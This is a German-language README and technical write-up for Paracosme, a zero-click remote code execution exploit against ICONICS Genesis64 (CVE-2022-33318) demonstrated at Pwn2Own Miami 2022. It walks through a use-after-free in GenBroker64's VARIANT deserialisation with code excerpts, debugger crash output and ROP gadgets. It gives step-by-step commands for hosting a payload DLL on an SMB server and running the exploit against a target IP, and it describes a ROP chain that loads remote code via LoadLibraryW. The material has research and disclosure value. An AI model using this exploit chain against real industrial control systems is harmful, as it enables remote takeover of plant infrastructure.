
Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.
Paracosme ist ein von mir geschriebener Memory-Corruption-Exploit, der gegen die von ICONICS entwickelte Suite Genesis64 v10.97.1 gerichtet ist, um Remote Code Execution zu erreichen.
Der Exploit wurde während des Pwn2Own 2022 Miami-Wettbewerbs vorgeführt, der auf der S4x22 Conference stattfand. Du kannst darüber in Teilnahme am Pwn2Own ICS 2022 Miami: Ausnutzen einer Zero-Click-Remote-Memory-Corruption in ICONICS Genesis64 lesen.
Die Schwachstelle erreichte einen CVSS-Score von 9,8 und erhielt die Kennungen CVE-2022-33318 / ZDI-22-1041. Sie wurde in Genesis64 10.97.2 behoben. Du kannst außerdem die Advisory ICSA-22-202-04 sowie das Whitepaper zu Sicherheitslücken der ICONICS Suite von ICONICS lesen.
Du findest den Exploit-Code in src/paracosme.py, einen PoC zum Auslösen des Absturzes bzw. zur Überprüfung, ob du betroffen bist, in src/paracosme-poc.py, und das auf dem Zielsystem ausgeführte Payload in src/payload.
Der beste Weg, um herauszufinden, ob du betroffen bist, ist, Page Heap für GenBroker64.exe zu aktivieren, den Dienst neu zu starten, einen Debugger an GenBroker64.exe anzuhängen, paracosme-poc.py gegen deinen Server auszuführen – dann solltest du Abstürze wie im Folgenden sehen:
Du musst einen Debugger an den Zielprozess anhängen, um den Absturz zu sehen; andernfalls ignoriert die Anwendung ihn.
Der Exploit wurde nur unter Windows getestet, sollte aber auch auf Linux-Plattformen funktionieren:
impacket mit: pip3 install impacketsc config lanmanserver start=disabled und starte neusmbserver.py (Teil der impacket-Beispiele) mit: python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip>
Weitere Details findest du in Teilnahme am Pwn2Own ICS 2022 Miami: Ausnutzen einer Zero-Click-Remote-Memory-Corruption in ICONICS Genesis64.
Paracosme nutzt eine Use-after-Free-Schwachstelle im Prozess GenBroker64 aus, um auf einem Windows-21H2-x64-System Remote Code Execution zu erreichen.
Im Wesentlichen lauscht der GenBroker64-Prozess auf dem TCP-Port 38080 und kann nach einem Handshake mit einem Client verschiedene Pakete deserialisieren. Der Fehler, den ich gefunden habe, befindet sich im Code, der das Lesen einer VARIANT vom Netzwerk-Socket behandelt. Im Grunde besteht ein VARIANT aus einem Typ und einem Wert. Die Funktion wirkt auf den ersten Blick gut geschrieben und bemüht sich, nur bestimmte Typen zu entpacken. So sieht sie aus:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
Die Funktion implementiert selbst das Entpacken von Arrays sowie das Lesen einfacher Variant-Typen. Wenn sie jedoch etwas empfängt, das keiner dieser beiden Kategorien entspricht, fällt sie auf den operator>> der Archiv-Instanz zurück. Bei dieser Archiv-Instanz handelt es sich um ein Objekt, das vom Microsoft Foundation Class-Framework bereitgestellt wird und die Serialisierung & Deserialisierung verschiedener Objekte übernimmt. Dieser Code ist eigentlich Open Source und du findest ihn in C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp, aber hier ist er:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
Die Funktion ist größtenteils unspektakulär, weil sie auch Logik zum Entpacken trivialer Typen enthält, aber was meine Aufmerksamkeit erregte, waren VT_DISPATCH / VT_UNKNOWN.
Was zum Teufel? Du kannst eine beliebige COM-Objektklassen-ID senden, die entweder IPersistStream oder IPersistStreamInit implementiert, und das Objekt wird geladen, indem IPersistream::Load aufgerufen wird, um es zu initialisieren. Obwohl das überraschend und eine eigenartige Funktion ist, fand ich das aus Sicherheitssicht nicht wirklich interessant, weil ich einen weiteren Fehler in einem COM-Objekt finden müsste, das auf einem Standard-Windows 10 verfügbar ist.
Schauen wir uns nun den folgenden Code genauer an:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
Der CoCreateInstance-Aufruf schreibt den COM-Instanzzeiger direkt in pSrc->punkVal, also die resultierende Variante, die in einem Aufrufer einige Frames weiter oben gespeichert wird. Wenn dann IStreamPersist::Load eine Ausnahme auslöst, wird diese abgefangen und IUnknown::Release wird sowohl auf dem IUnknown- als auch auf dem IPersistStream-Interface aufgerufen, wodurch das COM-Objekt freigegeben wird und pSrc->punkVal als hängender Zeiger zurückbleibt. Der andere interessante Punkt ist, dass der Catch-Block danach die Ausnahme erneut auslöst, die vom folgenden Code abgefangen wird:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
In diesem Stadium ist die Variante bereits freigegeben, aber ihr Typ und Wert wurden nicht aktualisiert/geändert, sodass dieser VariantClear-Aufruf eine zweite IUnknown::Release-Freigabe auslöst, was den folgenden Absturz erzeugt:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Wow, ziemlich cool. Wir können das oben Genannte auslösen, indem wir ein COM-Objekt instanziieren, das IPersistStream implementiert, und dafür sorgen, dass es eine Ausnahme auslöst, wenn Load aufgerufen wird. Den Auslöse-Code findest du in paracosme-poc.py, der den Prozess GenBroker64.exe auf dem Zielsystem zum Absturz bringen sollte. Du kannst außerdem Page Heap für GenBroker64.exe aktivieren, um sofort einen Absturz zu erhalten.
Wenn VariantClear auf die Variante aufgerufen wird, wird ein virtueller Aufruf an die Methode Release ausgelöst, um sie freizugeben. Da dies ein virtueller Aufruf ist, liest die Funktion eine VTable, holt an einem festen Offset einen Funktionszeiger und ruft ihn auf. Bevor das passiert, bringen wir den Thread in einen Wettlauf, um die ole32!CFileMoniker-Instanz zurückzuerobern und durch kontrollierte Daten zu ersetzen (siehe RacerThread_t). Dadurch kontrollieren wir den VTable-Zeiger und sind nur noch eine Instruktion davon entfernt, RIP zu kapern. Das Folgende zeigt die entsprechende Assembly-Instruktion, bei der @rcx auf den Chunk zeigt, den wir vollständig kontrollieren:
0:011> u .l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
Da wir die volle Kontrolle über den zurückeroberten Chunk haben, kontrollieren wir @rax. Um den Kontrollfluss zu kapern, müssen wir @rax auf einen Zeiger auf den Wert setzen, mit dem wir @rip kapern wollen. Das große Problem hier ist ASLR, und wir haben kein Informationsleck.
Glücklicherweise besitzt das Modul GenBroker64.exe keine dynamische Basisadresse, was bedeutet, dass wir es nutzen können, um eine Stelle zu finden, die auf ein interessantes Gadget zeigt, um unsere Kette zu starten.
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
Das erste verwendete Gadget ist ein Gadget, mit dem wir @rip vollständig kontrollieren können (ohne Indirektion):
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
Wir können die Adresse des nächsten Gadgets an Offset +0x10 in dem von uns zurückeroberten Chunk (auf den @rcx zeigt) platzieren, was großartig ist.
Das zweite Gadget, das wir verwenden, verlagert den Stack auf den zurückeroberten Heap-Chunk, über den wir die volle Kontrolle haben:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
Das Lustige daran ist, dass die Adresse unseres Heap-Chunks (immer?) an einer Stelle zu liegen scheint, die in einen 32-Bit-Integer passt, und genau deshalb funktioniert mov esp, ecx einwandfrei.
An diesem Punkt haben wir eine ROP-Kette, aber nicht besonders viel Platz, was ziemlich frustrierend war. Ich habe viel Zeit damit verbracht, die Sterne auszurichten, und bin schließlich auf eine Sequenz von Gadgets gekommen, die LoadLibraryW mit einem entfernten SMB-Pfad aufruft, der auf eine DLL-Datei zeigt, die unser Payload enthält. Wenn du an den Details der Kette interessiert bist, sieh dir paracosme.py@241 an.